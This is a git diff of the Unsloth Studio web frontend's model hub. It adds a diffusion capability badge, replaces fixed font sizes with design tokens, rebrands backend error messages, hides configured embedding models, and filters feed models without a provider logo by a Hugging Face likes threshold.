diff --git a/studio/frontend/src/features/hub/catalog/shared.tsx b/studio/frontend/src/features/hub/catalog/shared.tsx
index c435afcfe6..94040ad3e0 100644
--- a/studio/frontend/src/features/hub/catalog/shared.tsx
+++ b/studio/frontend/src/features/hub/catalog/shared.tsx
@@ -1,12 +1,19 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import { cn } from "@/lib/utils";
 import {
   BrainIcon,
   Chat01Icon,
   CodeIcon,
   GlobeIcon,
   HeadphonesIcon,
+  ImageIcon,
   LockIcon,
   LockKeyIcon,
   SparklesIcon,
@@ -15,12 +22,6 @@ import {
 } from "@hugeicons/core-free-icons";
 import type { IconSvgElement } from "@hugeicons/react";
 import { HugeiconsIcon } from "@hugeicons/react";
-import {
-  Tooltip,
-  TooltipContent,
-  TooltipTrigger,
-} from "@/components/ui/tooltip";
-import { cn } from "@/lib/utils";
 import type { Capability, CapabilityKey } from "../lib/model-capabilities";
 
 const CAPABILITY_ICON: Record<CapabilityKey, IconSvgElement> = {
@@ -30,6 +31,7 @@ const CAPABILITY_ICON: Record<CapabilityKey, IconSvgElement> = {
   reasoning: BrainIcon,
   code: CodeIcon,
   embedding: SparklesIcon,
+  diffusion: ImageIcon,
   multilingual: GlobeIcon,
   conversational: Chat01Icon,
 };
@@ -45,6 +47,8 @@ const CAPABILITY_TONE: Record<CapabilityKey, string> = {
   code: "bg-cyan-500/10 text-cyan-800 dark:bg-cyan-400/20 dark:text-cyan-300",
   embedding:
     "bg-emerald-500/10 text-emerald-700 dark:bg-emerald-400/20 dark:text-emerald-300",
+  diffusion:
+    "bg-pink-500/10 text-pink-700 dark:bg-pink-400/20 dark:text-pink-300",
   multilingual:
     "bg-sky-500/10 text-sky-700 dark:bg-sky-400/20 dark:text-sky-300",
   conversational:
@@ -53,15 +57,13 @@ const CAPABILITY_TONE: Record<CapabilityKey, string> = {
 
 export function AccessChip({ label }: { label: string }) {
   return (
-    <span className="inline-flex h-6 shrink-0 items-center rounded-full border border-amber-500/30 bg-amber-500/8 px-2 text-[11px] font-medium leading-none text-amber-700 dark:text-amber-300">
+    <span className="inline-flex h-6 shrink-0 items-center rounded-full border border-amber-500/30 bg-amber-500/8 px-2 text-ui-11 font-medium leading-none text-amber-700 dark:text-amber-300">
       {label}
     </span>
   );
 }
 
-function isGatedAccess(
-  gated: false | "auto" | "manual" | undefined,
-): boolean {
+function isGatedAccess(gated: false | "auto" | "manual" | undefined): boolean {
   return gated !== false && gated !== undefined;
 }
 
@@ -142,7 +144,7 @@ export function CapabilityPill({
     <span
       aria-label={iconOnly ? capability.label : undefined}
       className={cn(
-        "inline-flex h-6 shrink-0 items-center rounded-full text-[11.5px] font-medium",
+        "inline-flex h-6 shrink-0 items-center rounded-full text-ui-11p5 font-medium",
         iconOnly ? "w-6 justify-center px-0" : "gap-1.5 px-2.5",
         CAPABILITY_TONE[capability.key],
       )}
diff --git a/studio/frontend/src/features/hub/catalog/transport-toggle.tsx b/studio/frontend/src/features/hub/catalog/transport-toggle.tsx
index 9202b88f45..bd6222094a 100644
--- a/studio/frontend/src/features/hub/catalog/transport-toggle.tsx
+++ b/studio/frontend/src/features/hub/catalog/transport-toggle.tsx
@@ -40,7 +40,7 @@ export function TransportToggle() {
   return (
     <fieldset
       aria-label="Download transport"
-      className="hub-tag-soft m-0 inline-flex h-[26px] min-w-0 items-center gap-0.5 rounded-full border-0 p-0.5 text-[11px]"
+      className="hub-tag-soft m-0 inline-flex h-[26px] min-w-0 items-center gap-0.5 rounded-full border-0 p-0.5 text-ui-11"
     >
       {OPTIONS.map((opt) => {
         const active = mode === opt.value;
diff --git a/studio/frontend/src/features/hub/components/hf-token-indicator.tsx b/studio/frontend/src/features/hub/components/hf-token-indicator.tsx
index e3aa8163be..ef45c648f7 100644
--- a/studio/frontend/src/features/hub/components/hf-token-indicator.tsx
+++ b/studio/frontend/src/features/hub/components/hf-token-indicator.tsx
@@ -40,7 +40,7 @@ export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps =
             onClick={() => openDialog("general")}
             aria-label={ariaLabel}
             className={cn(
-              "hub-menu-trigger field-soft inline-flex h-9 w-full items-center justify-between gap-2 rounded-[12px] py-0 pl-1.5 pr-3 text-[12.5px] font-medium text-foreground transition-colors",
+              "hub-menu-trigger field-soft inline-flex h-9 w-full items-center justify-between gap-2 rounded-[12px] py-0 pl-1.5 pr-3 text-ui-12p5 font-medium text-foreground transition-colors",
               "focus-visible:outline-none focus-visible:ring-0 focus-visible:ring-offset-0",
             )}
           >
@@ -50,7 +50,7 @@ export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps =
                 className={cn(
                   "inline-flex size-6 items-center justify-center rounded-full transition-colors",
                   hasToken
-                    ? "bg-primary/15 text-primary"
+                    ? "bg-verified/15 text-verified"
                     : "bg-foreground/[0.07] text-muted-foreground dark:bg-white/[0.07]",
                 )}
               >
@@ -64,8 +64,8 @@ export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps =
             </span>
             <span
               className={cn(
-                "shrink-0 text-[11px] font-normal tabular-nums",
-                hasToken ? "text-primary" : "text-muted-foreground/70",
+                "shrink-0 text-ui-11 font-normal tabular-nums",
+                hasToken ? "text-verified" : "text-muted-foreground/70",
               )}
             >
               {hasToken ? "Set" : "Add"}
@@ -89,7 +89,7 @@ export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps =
           className={cn(
             // Solid circle reads optically larger than the flat HTTP/Xet box, so
             // keep it 22px to sit within the row rather than bulging above it.
-            "inline-flex h-[22px] w-[22px] items-center justify-center rounded-full text-[11.5px] transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+            "inline-flex h-[22px] w-[22px] items-center justify-center rounded-full text-ui-11p5 transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
             hasToken
               ? "hub-tag-soft text-muted-foreground hover:text-foreground/80"
               : "bg-destructive text-destructive-foreground hover:bg-destructive/90",
diff --git a/studio/frontend/src/features/hub/components/page-heading.tsx b/studio/frontend/src/features/hub/components/page-heading.tsx
index b2e4a06fb4..06dfcd922d 100644
--- a/studio/frontend/src/features/hub/components/page-heading.tsx
+++ b/studio/frontend/src/features/hub/components/page-heading.tsx
@@ -13,7 +13,7 @@ type PageHeadingProps = {
 };
 
 const TITLE_CLASS =
-  "text-[30px] font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-[34px]";
+  "text-ui-30 font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-ui-34";
 
 export function PageHeading({
   title,
@@ -29,7 +29,7 @@ export function PageHeading({
           onClick={onTitleClick}
           className={cn(
             TITLE_CLASS,
-            "cursor-pointer rounded-md text-left outline-none transition-opacity hover:opacity-80 focus-visible:ring-2 focus-visible:ring-ring",
+            "cursor-pointer rounded-md text-left outline-none transition-opacity hover:opacity-80 focus-visible:ring-1 focus-visible:ring-ring",
           )}
         >
           {title}
@@ -38,7 +38,7 @@ export function PageHeading({
         <h1 className={TITLE_CLASS}>{title}</h1>
       )}
       {subtitle ? (
-        <p className="mt-2 text-[13px] leading-[19px] text-muted-foreground">
+        <p className="mt-2 text-ui-13 leading-ui-19 text-muted-foreground">
           {subtitle}
         </p>
       ) : null}
diff --git a/studio/frontend/src/features/hub/download-manager/api.ts b/studio/frontend/src/features/hub/download-manager/api.ts
index ca987f1643..2c55b90edd 100644
--- a/studio/frontend/src/features/hub/download-manager/api.ts
+++ b/studio/frontend/src/features/hub/download-manager/api.ts
@@ -12,14 +12,14 @@ function parseErrorText(status: number, body: unknown): string {
     const detail = (body as { detail?: unknown }).detail;
     const formatted = formatFastApiDetail(detail);
     if (status === 405) {
-      return `${formatted || "Method Not Allowed"} - the Studio backend did not accept this API method. Restart Studio so the frontend and backend are on the same build.`;
+      return `${formatted || "Method Not Allowed"} - the Unsloth backend did not accept this API method. Restart Unsloth so the frontend and backend are on the same build.`;
     }
     if (formatted) return formatted;
     const message = (body as { message?: unknown }).message;
     if (typeof message === "string" && message) return message;
   }
   if (status === 405) {
-    return "Method Not Allowed - the Studio backend did not accept this API method. Restart Studio so the frontend and backend are on the same build.";
+    return "Method Not Allowed - the Unsloth backend did not accept this API method. Restart Unsloth so the frontend and backend are on the same build.";
   }
   return `Request failed (${status})`;
 }
@@ -137,7 +137,7 @@ const DOWNLOAD_TRANSPORT_CAPABILITIES_FALLBACK: DownloadTransportCapabilities =
   http: { available: true, reason: null },
   xet: {
     available: null,
-    reason: "Couldn't verify Xet support with the Studio backend.",
+    reason: "Couldn't verify Xet support with the Unsloth backend.",
   },
 };
 let downloadTransportCapabilitiesCache: DownloadTransportCapabilities | null =
diff --git a/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts b/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts
index 6942dfbbb9..a6518ec656 100644
--- a/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts
+++ b/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts
@@ -184,7 +184,7 @@ export async function effectiveTransportMode(
     return preferred;
   }
   const reason =
-    capabilities.xet.reason ?? "Studio will use HTTP downloads instead.";
+    capabilities.xet.reason ?? "Unsloth will use HTTP downloads instead.";
   if (lastXetUnavailableWarningReason !== reason) {
     lastXetUnavailableWarningReason = reason;
     toast.warning("Xet download transport unavailable", {
diff --git a/studio/frontend/src/features/hub/download-manager/download-manager-controller.ts b/studio/frontend/src/features/hub/download-manager/download-manager-controller.ts
index da653ddeb7..2cea1d8304 100644
--- a/studio/frontend/src/features/hub/download-manager/download-manager-controller.ts
+++ b/studio/frontend/src/features/hub/download-manager/download-manager-controller.ts
@@ -1,14 +1,10 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { DOWNLOAD_KIND } from "./constants";
 import {
   createDownloadManagerInitialState,
-  jobKeyOf,
   removeJob,
-  selectActiveJob,
   setState,
-  useDownloadManagerStore,
 } from "./download-manager-state";
 import { resetDownloadApiAdapterState } from "./download-api-adapter";
 import {
@@ -69,25 +65,6 @@ export const downloadManager: DownloadManagerController = {
   dismiss: removeJob,
 };
 
-/** Cancel the in-flight download for a staged model pick. No-op when nothing is
- *  downloading (e.g. a native/local file that was never fetched). Lets non-React
- *  callers (the chat store's abandon paths) stop a staged transfer without the
- *  useRepoDownload hook. */
-export function cancelStagedModelDownload(
-  pending: { id: string; ggufVariant?: string | null } | null,
-): void {
-  if (!pending) return;
-  const variant = pending.ggufVariant ?? null;
-  const activeJob = selectActiveJob(
-    useDownloadManagerStore.getState(),
-    DOWNLOAD_KIND.MODEL,
-    pending.id,
-    variant,
-  );
-  void downloadManager.cancel(
-    activeJob?.key ?? jobKeyOf(DOWNLOAD_KIND.MODEL, pending.id, variant),
-  );
-}
 
 if (import.meta.hot) {
   import.meta.hot.dispose(() => {
diff --git a/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx b/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
index 948b0c098d..3e5a86a879 100644
--- a/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
+++ b/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
@@ -8,10 +8,10 @@ import {
 } from "@/components/ui/tooltip";
 import { hasAuthToken, mustChangePassword } from "@/features/auth/session";
 import { isTauri } from "@/lib/api-base";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import {
   Alert02Icon,
-  ArrowDown01Icon,
   Cancel01Icon,
   CheckmarkCircle02Icon,
   Download01Icon,
@@ -19,13 +19,13 @@ import {
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useRouterState } from "@tanstack/react-router";
 import { useEffect, useMemo, useState } from "react";
-import { DownloadProgressBar } from "./download-progress-bar";
 import {
   type ManagedDownload,
   downloadManager,
   hydrateDownloadManager,
   useDownloadManagerStore,
 } from "./download-manager-controller";
+import { DownloadProgressBar } from "./download-progress-bar";
 
 function createOrderedJobKeysSelector(): (state: {
   jobs: Record<string, ManagedDownload>;
@@ -108,7 +108,7 @@ function DownloadRow({ jobKey }: { jobKey: string }) {
   return (
     <li className="flex flex-col gap-1.5 py-2.5 pl-4 pr-3">
       <div className="flex items-center gap-2">
-        <span className="min-w-0 flex-1 truncate text-[12.5px] font-medium text-foreground">
+        <span className="min-w-0 flex-1 truncate text-ui-12p5 font-medium text-foreground">
           {job.repoId}
           <span className="text-muted-foreground">{variantSuffix(job)}</span>
         </span>
@@ -165,7 +165,7 @@ function DownloadRow({ jobKey }: { jobKey: string }) {
         />
       ) : null}
       {terminal || job.state === "cancelling" || job.error ? (
-        <div className="px-0 text-[11px] text-muted-foreground tabular-nums">
+        <div className="px-0 text-ui-11 text-muted-foreground tabular-nums">
           <StatusLine job={job} />
         </div>
       ) : null}
@@ -231,7 +231,7 @@ export function DownloadManagerPanel({
       ) : (
         <div className="hub-download-panel pointer-events-auto w-[min(400px,calc(100vw-2rem))] overflow-hidden">
           <div className="flex items-center gap-2 border-b border-foreground/[0.07] py-2 pl-4 pr-3">
-            <span className="min-w-0 flex-1 truncate text-[12.5px] font-semibold text-foreground">
+            <span className="min-w-0 flex-1 truncate text-ui-12p5 font-semibold text-foreground">
               {headerLabel}
             </span>
             <button
@@ -241,7 +241,7 @@ export function DownloadManagerPanel({
               className="inline-flex size-6 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-foreground/[0.06] hover:text-foreground dark:hover:bg-white/[0.06]"
             >
               <HugeiconsIcon
-                icon={ArrowDown01Icon}
+                icon={ChevronDownStandardIcon}
                 strokeWidth={1.75}
                 className="size-3.5"
               />
diff --git a/studio/frontend/src/features/hub/download-manager/download-progress-bar.tsx b/studio/frontend/src/features/hub/download-manager/download-progress-bar.tsx
index f28fa0c525..9005435aa1 100644
--- a/studio/frontend/src/features/hub/download-manager/download-progress-bar.tsx
+++ b/studio/frontend/src/features/hub/download-manager/download-progress-bar.tsx
@@ -41,7 +41,7 @@ export function DownloadProgressBar({
           style={{ left: `${exactPercent}%` }}
         />
       </div>
-      <div className="flex items-center justify-between gap-2 text-[10.5px] text-muted-foreground tabular-nums">
+      <div className="flex items-center justify-between gap-2 text-ui-10p5 text-muted-foreground tabular-nums">
         <span>
           {formatBytes(progress.downloadedBytes)}
           {totalLabel && ` / ${totalLabel}`}
diff --git a/studio/frontend/src/features/hub/download-manager/index.ts b/studio/frontend/src/features/hub/download-manager/index.ts
index dd88aaf3f0..60ef3851f8 100644
--- a/studio/frontend/src/features/hub/download-manager/index.ts
+++ b/studio/frontend/src/features/hub/download-manager/index.ts
@@ -20,7 +20,6 @@ export {
 } from "./constants";
 export {
   __resetDownloadManagerForTests,
-  cancelStagedModelDownload,
   clearCompletedInventoryHint,
   downloadManager,
   hydrateDownloadManager,
diff --git a/studio/frontend/src/features/hub/hooks/use-hidden-embedding-models.ts b/studio/frontend/src/features/hub/hooks/use-hidden-embedding-models.ts
new file mode 100644
index 0000000000..f78679310f
--- /dev/null
+++ b/studio/frontend/src/features/hub/hooks/use-hidden-embedding-models.ts
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { loadEmbeddingModelSettings } from "@/features/settings";
+import { useEffect, useState } from "react";
+import { useInventoryVersion } from "../stores/inventory-events";
+
+/** Backend-resolved embedding repos that optimistic inventory rows must hide. */
+export function useHiddenEmbeddingModelIds(
+  enabled: boolean,
+): ReadonlySet<string> {
+  const inventoryVersion = useInventoryVersion();
+  const [hiddenIds, setHiddenIds] = useState<ReadonlySet<string>>(
+    () => new Set(),
+  );
+
+  // biome-ignore lint/correctness/useExhaustiveDependencies: inventory invalidation must reload backend-resolved embedder ids
+  useEffect(() => {
+    if (!enabled) {
+      return;
+    }
+    let cancelled = false;
+    loadEmbeddingModelSettings()
+      .then((settings) => {
+        if (cancelled) {
+          return;
+        }
+        setHiddenIds(
+          new Set(
+            [
+              settings.embeddingModel,
+              settings.embeddingGgufRepo,
+              settings.defaultEmbeddingModel,
+              settings.defaultEmbeddingGgufRepo,
+            ].map((value) => value.trim().toLowerCase()),
+          ),
+        );
+      })
+      .catch(() => undefined);
+    return () => {
+      cancelled = true;
+    };
+  }, [enabled, inventoryVersion]);
+
+  return hiddenIds;
+}
diff --git a/studio/frontend/src/features/hub/hooks/use-hub-paginated-search.ts b/studio/frontend/src/features/hub/hooks/use-hub-paginated-search.ts
index 882c530782..d598065d17 100644
--- a/studio/frontend/src/features/hub/hooks/use-hub-paginated-search.ts
+++ b/studio/frontend/src/features/hub/hooks/use-hub-paginated-search.ts
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { useCallback, useEffect, useRef, useState } from "react";
+import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 
 interface HfPaginatedState<T> {
   results: T[];
@@ -12,6 +12,10 @@ interface HfPaginatedState<T> {
   error: string | null;
 }
 
+interface InternalPaginatedState<T> extends HfPaginatedState<T> {
+  queryKey: object | null;
+}
+
 const INITIAL: HfPaginatedState<never> = {
   results: [],
   scannedCount: 0,
@@ -74,10 +78,15 @@ export function useHubPaginatedSearch<T>(
   options?: { enabled?: boolean },
 ): HfPaginatedState<T> & { fetchMore: () => boolean; retry: () => void } {
   const enabled = options?.enabled ?? true;
-  const [state, setState] = useState<HfPaginatedState<T>>(
-    INITIAL as HfPaginatedState<T>,
-  );
   const [retryNonce, setRetryNonce] = useState(0);
+  const queryKey = useMemo(
+    () => ({ createIter, mapItem, retryNonce }),
+    [createIter, mapItem, retryNonce],
+  );
+  const [state, setState] = useState<InternalPaginatedState<T>>({
+    ...(INITIAL as HfPaginatedState<T>),
+    queryKey: null,
+  });
   const stateRef = useRef(state);
   useEffect(() => {
     stateRef.current = state;
@@ -187,6 +196,7 @@ export function useHubPaginatedSearch<T>(
     setState({
       ...(INITIAL as HfPaginatedState<T>),
       isLoading: true,
+      queryKey,
     });
 
     const iter = createIter(controller.signal);
@@ -203,6 +213,7 @@ export function useHubPaginatedSearch<T>(
           isLoadingMore: false,
           hasMore: !done,
           error: null,
+          queryKey,
         });
       })
       .catch((err) => {
@@ -214,6 +225,7 @@ export function useHubPaginatedSearch<T>(
           isLoadingMore: false,
           hasMore: false,
           error: err instanceof Error ? err.message : "Search failed",
+          queryKey,
         });
       })
       .finally(() => {
@@ -226,7 +238,14 @@ export function useHubPaginatedSearch<T>(
     return () => {
       clearDeferredFetch();
     };
-  }, [createIter, mapItem, enabled, retryNonce, clearDeferredFetch]);
+  }, [
+    createIter,
+    mapItem,
+    enabled,
+    retryNonce,
+    queryKey,
+    clearDeferredFetch,
+  ]);
 
   const retry = useCallback(() => {
     setRetryNonce((n) => n + 1);
@@ -358,5 +377,22 @@ export function useHubPaginatedSearch<T>(
     };
   }, [enabled, fetchMore]);
 
-  return { ...state, fetchMore, retry };
+  const visibleState: InternalPaginatedState<T> =
+    state.queryKey === queryKey
+      ? state
+      : {
+          ...(INITIAL as HfPaginatedState<T>),
+          isLoading: enabled,
+          queryKey,
+        };
+  return {
+    results: visibleState.results,
+    scannedCount: visibleState.scannedCount,
+    isLoading: visibleState.isLoading,
+    isLoadingMore: visibleState.isLoadingMore,
+    hasMore: visibleState.hasMore,
+    error: visibleState.error,
+    fetchMore,
+    retry,
+  };
 }
diff --git a/studio/frontend/src/features/hub/hooks/use-selected-model-view.ts b/studio/frontend/src/features/hub/hooks/use-selected-model-view.ts
index 171dd88d3c..cceac99753 100644
--- a/studio/frontend/src/features/hub/hooks/use-selected-model-view.ts
+++ b/studio/frontend/src/features/hub/hooks/use-selected-model-view.ts
@@ -48,7 +48,12 @@ function localResource(
       ? "cached"
       : "local";
   const id =
-    row.source === "hf_cache" && repoId && !row.partial ? repoId : row.loadId;
+    row.source === "hf_cache" &&
+    row.activeCache !== false &&
+    repoId &&
+    !row.partial
+      ? repoId
+      : row.loadId;
   return {
     repoId,
     localPath: row.path,
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index c3920e18f6..9fc452b4ed 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -1,34 +1,36 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import {
-  loadRememberedLoadSettings,
-  rememberedLoadSettingsKey,
-} from "@/components/assistant-ui/model-selector/remembered-load-settings";
-import { hfModelFitsDevice } from "@/components/assistant-ui/model-selector/recommended-fit";
-import { useHubInventory } from "@/features/hub/inventory";
-import { useDebouncedValue } from "@/hooks/use-debounced-value";
-import { useGpuInfo } from "@/hooks/use-gpu-info";
-import {
-  type HfModelSearchChannel,
-  type HfSortDirection,
-  type HfSortKey,
-} from "@/features/hub/hooks/use-hub-model-search";
-import { useOnlineStatus } from "@/features/hub/hooks/use-online-status";
-import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
-import { ggufVariantsMatch, modelIdsMatch } from "@/features/hub/lib/model-identity";
-import { cn } from "@/lib/utils";
 import { usePlatformStore } from "@/config/env";
 import {
-  hfApiToken,
-  useHfTokenStore,
-} from "@/features/hub/stores/hf-token-store";
+  isChannelEntryFresh,
+  useHubFeedStore,
+} from "./stores/hub-feed-store";
 import {
   getInferenceStatus,
   isExternalModelId,
   useChatModelRuntime,
   useChatRuntimeStore,
 } from "@/features/chat";
+import { useHubInventory } from "./inventory";
+import type {
+  HfModelSearchChannel,
+  HfSortDirection,
+  HfSortKey,
+} from "./hooks/use-hub-model-search";
+import { useOnlineStatus } from "@/features/hub";
+import { useHubInfiniteScroll } from "@/features/hub";
+import { ggufVariantsMatch, modelIdsMatch } from "./lib/model-identity";
+import { hfApiToken, useHfTokenStore } from "./stores/hf-token-store";
+import {
+  applyModelLoadConfigToRuntime,
+  currentRuntimePerModelConfig,
+  hfModelFitsDevice,
+  resolveInitialConfig,
+} from "@/features/model-picker";
+import { useDebouncedValue } from "@/hooks/use-debounced-value";
+import { useGpuInfo } from "@/hooks/use-gpu-info";
+import { cn } from "@/lib/utils";
 import { useNavigate, useSearch } from "@tanstack/react-router";
 import {
   useCallback,
@@ -38,17 +40,10 @@ import {
   useRef,
   useState,
 } from "react";
+import { ExternalLinkConfirmDialog } from "./catalog/external-link-confirm-dialog";
 import { HubDetailView } from "./catalog/hub-detail-view";
-import { HubTopBar } from "./catalog/hub-top-bar";
 import { HubFeed } from "./catalog/hub-feed";
-import { OwnerScopeToggle } from "./catalog/owner-scope-toggle";
-import {
-  type AllModelsView,
-  HubListHeader,
-  type InventorySort,
-  InventorySortControl,
-  ResultListHeader,
-} from "./catalog/models-table";
+import { HubTopBar } from "./catalog/hub-top-bar";
 import {
   ModelsCatalog,
   type ModelsCatalogHandlers,
@@ -56,11 +51,20 @@ import {
   type ModelsCatalogState,
 } from "./catalog/models-catalog";
 import { ModelsHeader } from "./catalog/models-header";
+import {
+  type AllModelsView,
+  HubListHeader,
+  type InventorySort,
+  InventorySortControl,
+  InventoryTypeFilterControl,
+  ResultListHeader,
+} from "./catalog/models-table";
 import { ModelsToolbar } from "./catalog/models-toolbar";
-import { ExternalLinkConfirmDialog } from "./catalog/external-link-confirm-dialog";
 import { OnDeviceFoldersDialog } from "./catalog/on-device-folders-dialog";
+import { OwnerScopeToggle } from "./catalog/owner-scope-toggle";
 import { useDiscoverSearch } from "./hooks/use-discover-search";
 import { useFeedWriteBack } from "./hooks/use-feed-write-back";
+import { useHiddenEmbeddingModelIds } from "./hooks/use-hidden-embedding-models";
 import { useHubFeed } from "./hooks/use-hub-feed";
 import { useHubModelVram } from "./hooks/use-hub-model-vram";
 import { useModelsSelection } from "./hooks/use-models-selection";
@@ -73,8 +77,17 @@ import {
   SECTION_TO_CHANNEL,
   findChannel,
 } from "./lib/channels";
-import { isHiddenModelId } from "./lib/hidden-models";
+import {
+  isConfiguredHiddenModelId,
+  isHiddenModelId,
+} from "./lib/hidden-models";
 import { inventoryRowMatches, tokenizeQuery } from "./lib/inventory-search";
+import {
+  type ModelTypeFilter,
+  matchesModelType,
+} from "./lib/model-type-filter";
+import { resolveOwnerProviderLogo } from "./lib/provider-logos";
+import { fingerprintToken } from "./lib/token-fingerprint";
 import {
   buildDiscoverRows,
   detectResultFormat,
@@ -98,6 +111,10 @@ const ALL_MODELS_VIEW_STORAGE_KEY = "unsloth.hub.allModelsView";
 const INVENTORY_SORT_STORAGE_KEY = "unsloth.hub.inventorySort";
 const OWNER_SCOPE_STORAGE_KEY = "unsloth.hub.ownerScope";
 
+// Iconless models (repo name matches no provider logo, e.g. Ornith, Inkling)
+// still show in the feed once they clear this many Hugging Face likes.
+const MIN_ICONLESS_MODEL_LIKES = 30;
+
 /** Discover browsing scope: the whole Hub (default) or only the unsloth org. */
 export type OwnerScope = "unsloth" | "all";
 
@@ -385,6 +402,7 @@ export function ModelsPage() {
     useState<ModelFormatFilter>("all");
   const isDiscoverTab = tab === "discover";
   const isDatasetMode = resourceType === "datasets";
+  const hiddenEmbeddingModelIds = useHiddenEmbeddingModelIds(!isDatasetMode);
   const urlSection = hubSearch.section ?? null;
   const isModelDiscover = isDiscoverTab && !isDatasetMode;
   const sectionChannelId: ChannelId | null = urlSection
@@ -445,6 +463,8 @@ export function ModelsPage() {
     setInventorySortState(sort);
     writeInventorySortPreference(sort);
   }, []);
+  const [inventoryTypeFilter, setInventoryTypeFilter] =
+    useState<ModelTypeFilter>("all");
   const [foldersDialogOpen, setFoldersDialogOpen] = useState(false);
   const [discoverFetchIntent, setDiscoverFetchIntent] = useState(0);
   const [sortBrowseActive, setSortBrowseActive] = useState(false);
@@ -563,19 +583,23 @@ export function ModelsPage() {
   const hfToken = useHfTokenStore((s) => s.token);
   const debouncedHfToken = useDebouncedValue(hfToken, 500);
   const apiHfToken = hfApiToken(debouncedHfToken);
+  const tokenFingerprint = useMemo(
+    () => fingerprintToken(apiHfToken),
+    [apiHfToken],
+  );
   const deferredFormatFilter = useDeferredValue(formatFilter);
   const deferredCapabilityFilter = useDeferredValue(capabilityFilter);
 
   const hasQuery = deferredDebouncedQuery.trim() !== "";
-  const mode: DiscoverMode = !isModelDiscover
-    ? "search"
-    : hasQuery
+  const mode: DiscoverMode = isModelDiscover
+    ? hasQuery
       ? "search"
       : urlSection != null
         ? "channel-list"
         : sortBrowseActive
           ? "search"
-          : "feed";
+          : "feed"
+    : "search";
   const isFeedMode = mode === "feed";
   const isChannelListMode = mode === "channel-list";
   const isSortBrowseMode =
@@ -627,8 +651,22 @@ export function ModelsPage() {
     online,
   });
 
+  const cachedListEntry = useHubFeedStore((state) =>
+    liveListChannel ? state.channels[liveListChannel.id] : undefined,
+  );
+  const visibleResults =
+    results.length === 0 &&
+    liveListChannel &&
+    isChannelEntryFresh(
+      cachedListEntry,
+      liveListChannel.id,
+      tokenFingerprint,
+    )
+      ? (cachedListEntry?.results ?? results)
+      : results;
+
   useFeedWriteBack({
-    channelId: isChannelListMode ? activeChannelId : null,
+    channelId: liveListChannel?.id ?? null,
     results,
     isLoading,
     accessToken: apiHfToken,
@@ -650,8 +688,13 @@ export function ModelsPage() {
     [effectiveCachedRows, effectiveLocalRows],
   );
   const modelDiscoverRows = useMemo<DiscoverRow[]>(
-    () => buildDiscoverRows(results, effectiveCachedRows, effectiveLocalRows),
-    [results, modelDiscoveryInventorySignature],
+    () =>
+      buildDiscoverRows(
+        visibleResults,
+        effectiveCachedRows,
+        effectiveLocalRows,
+      ),
+    [visibleResults, modelDiscoveryInventorySignature],
   );
 
   const datasetDiscoverRows = useMemo<DiscoverRow[]>(() => {
@@ -699,7 +742,15 @@ export function ModelsPage() {
     return discoverRows.filter(
       (row) =>
         !isHiddenModelId(row.id) &&
-        matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
+        !isConfiguredHiddenModelId(hiddenEmbeddingModelIds, row.id) &&
+        // Feed shows logo'd models, plus iconless ones above the likes threshold.
+        (!isFeedMode ||
+          resolveOwnerProviderLogo(row.owner, row.repo) !== null ||
+          (row.result.likes ?? 0) >= MIN_ICONLESS_MODEL_LIKES) &&
+        matchesFormat(
+          detectResultFormat(row.result),
+          effectiveDiscoverFormat,
+        ) &&
         matchesCapability(row.capabilities, deferredCapabilityFilter) &&
         (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)) &&
         // Models already on disk stay visible regardless of device fit,
@@ -710,7 +761,9 @@ export function ModelsPage() {
     );
   }, [
     discoverRows,
+    hiddenEmbeddingModelIds,
     isDatasetMode,
+    isFeedMode,
     effectiveDiscoverFormat,
     deferredCapabilityFilter,
     activeChannel,
@@ -734,7 +787,11 @@ export function ModelsPage() {
         effectiveCachedRows,
         effectiveLocalRows,
       )
-        .filter((row) => !isHiddenModelId(row.id))
+        .filter(
+          (row) =>
+            !isHiddenModelId(row.id) &&
+            !isConfiguredHiddenModelId(hiddenEmbeddingModelIds, row.id),
+        )
         .filter((row) => matchesFormat(row.result.isGguf, "gguf"))
         // Same fit filter as the main Discover list, so the feed carousel
         // honors the toggle too.
@@ -746,6 +803,7 @@ export function ModelsPage() {
         ),
     [
       hubFeed.trending.results,
